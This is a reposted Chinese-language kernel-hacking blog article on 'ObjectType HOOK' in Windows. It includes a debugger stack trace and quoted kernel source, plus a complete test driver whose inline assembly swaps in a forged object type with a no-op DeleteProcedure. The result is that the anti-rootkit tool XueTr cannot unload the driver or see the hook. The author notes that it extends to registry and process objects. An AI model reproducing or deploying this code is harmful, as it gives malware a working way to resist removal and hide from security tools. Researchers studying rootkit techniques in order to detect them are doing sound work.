很多句話讓XueTr卸載不了我們的驅動(ObjectType HOOK)

轉自:

http://www.debugman.com/discussion/6064/%E5%BE%88%E5%A4%9A%E5%8F%A5%E8%AF%9D%E8%AE%A9xuetr%E5%8D%B8%E8%BD%BD%E4%B8%8D%E4%BA%86%E6%88%91%E4%BB%AC%E7%9A%84%E9%A9%B1%E5%8A%A8objecttype-hook/p1

 

 

對於ObjectType HOOK,可以參考MJ0011和sudami的文章:

ObjectType HOOK干涉註冊表操作(bypass Icesword,gmer,NIAP,etc.)
http://www.xfocus.net/articles/200802/966.html

一種Object hook的思路和實現過程
http://forum.eviloctal.com/thread-33688-1-1.html

兩篇文章的共同點都是去HOOK系統已經生成的object type裏面的例程,系統怎麼去用這些例程呢?仍然以上篇的《一句話讓XueTr卸載不了我們的驅動》爲例,驅動卸載時,函數調用如下:
kd> kp
ChildEBP RetAddr
ee5deb30 805b1bde nt!IopDeleteDriver
ee5deb4c 80523bf1 nt!ObpRemoveObjectRoutine+0xe0
ee5deb70 804f5778 nt!ObfDereferenceObject+0x5f
ee5dec14 8057a83d nt!IopUnloadDriver+0x28a
ee5dec24 8053e6d8 nt!NtUnloadDriver+0xf
ee5dec24 80500231 nt!KiFastCallEntry+0xf8
ee5deca0 804f55df nt!ZwUnloadDriver+0x11
ee5ded48 8057a83d nt!IopUnloadDriver+0xf1
ee5ded58 8053e6d8 nt!NtUnloadDriver+0xf

ObpRemoveObjectRoutine定義如下:
VOID
ObpRemoveObjectRoutine (
IN PVOID Object,
IN BOOLEAN CalledOnWorkerThread
)

Object是我們的驅動對象DriverObject,
有如下的代碼:
ObjectHeader = OBJECT_TO_OBJECT_HEADER( Object );
ObjectType = ObjectHeader->Type;

if (ObjectType->TypeInfo.DeleteProcedure) {

#if DBG
KIRQL SaveIrql;
#endif

ObpBeginTypeSpecificCallOut( SaveIrql );

if (!CalledOnWorkerThread) {

ObjectHeader->Flags |= OB_FLAG_DELETED_INLINE;
}

(*(ObjectType->TypeInfo.DeleteProcedure))(Object);

ObpEndTypeSpecificCallOut( SaveIrql, "Delete", ObjectType, Object );
}

可以看到是從Object取ObjectHeader,然後從ObjectHeader取ObjectType,從ObjectType取TypeInfo.DeleteProcedure。沒有直接取系統已經生成的ObjectType
因此,我們可以自己構造一個ObjectType,裏面填充自己定義的例程,然後覆蓋Object上面的ObjectHeader裏面的ObjectType,這樣系統取到的TypeInfo.DeleteProcedure就是我們自己定義的例程了。

測試代碼如下:
/*
* 作者:KiDebug
* 空間:http://hi.baidu.com/KiDebug/
*/
#include <ntddk.h>

UCHAR My_OBJECT_TYPE[0x200];

void testUnload(IN PDRIVER_OBJECT DriverObject)
{
}

NTSTATUS testDefaultHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
Irp->IoStatus.Status = STATUS_NOT_SUPPORTED;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return Irp->IoStatus.Status;
}

void DoNothing()
{

}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{
ULONG i;

for (i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++)<br /> DriverObject->MajorFunction[i] = testDefaultHandler;

DriverObject->DriverUnload = testUnload;

__asm
{
mov eax,DriverObject
mov esi,[eax-10h] //+0x008 Type +0x018 Body 兩者相差 0x10
lea edi,My_OBJECT_TYPE
mov ecx,64h //_OBJECT_TYPE共0x190個字節,0x64個DWORD
rep movsd //把Driver的系統自帶的_OBJECT_TYPE複製到My_OBJECT_TYPE裏面
lea ebx,My_OBJECT_TYPE
mov ecx,DoNothing
mov [ebx+98h],ecx //+0x038 DeleteProcedure
mov [eax-10h],ebx //把My_OBJECT_TYPE覆蓋成自己DriverObject頭上的Type
};

return STATUS_SUCCESS;
}
用InstDrv.exe加載編譯後的驅動,依次點擊安裝、啓動,然後用XueTr查看“驅動模塊”,可以看到test.sys,可以在右鍵菜單中點擊“卸載驅動(危險)”,但刷新後test.sys依然還在。
把My_OBJECT_TYPE覆蓋掉XueTr.sys驅動對象上面的ObjectHeader裏面的ObjectType,XueTr功能沒影響,能幹啥幹啥。
這樣的HOOK用XueTr查不到,可以推廣到其他的對象中去,比如說註冊表、進程等等。

既然能加載驅動,能進內核了,那麼神馬都是浮雲了:看到什麼就可以HOOK什麼,反過來看到HOOK了什麼,就可以反HOOK什麼。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章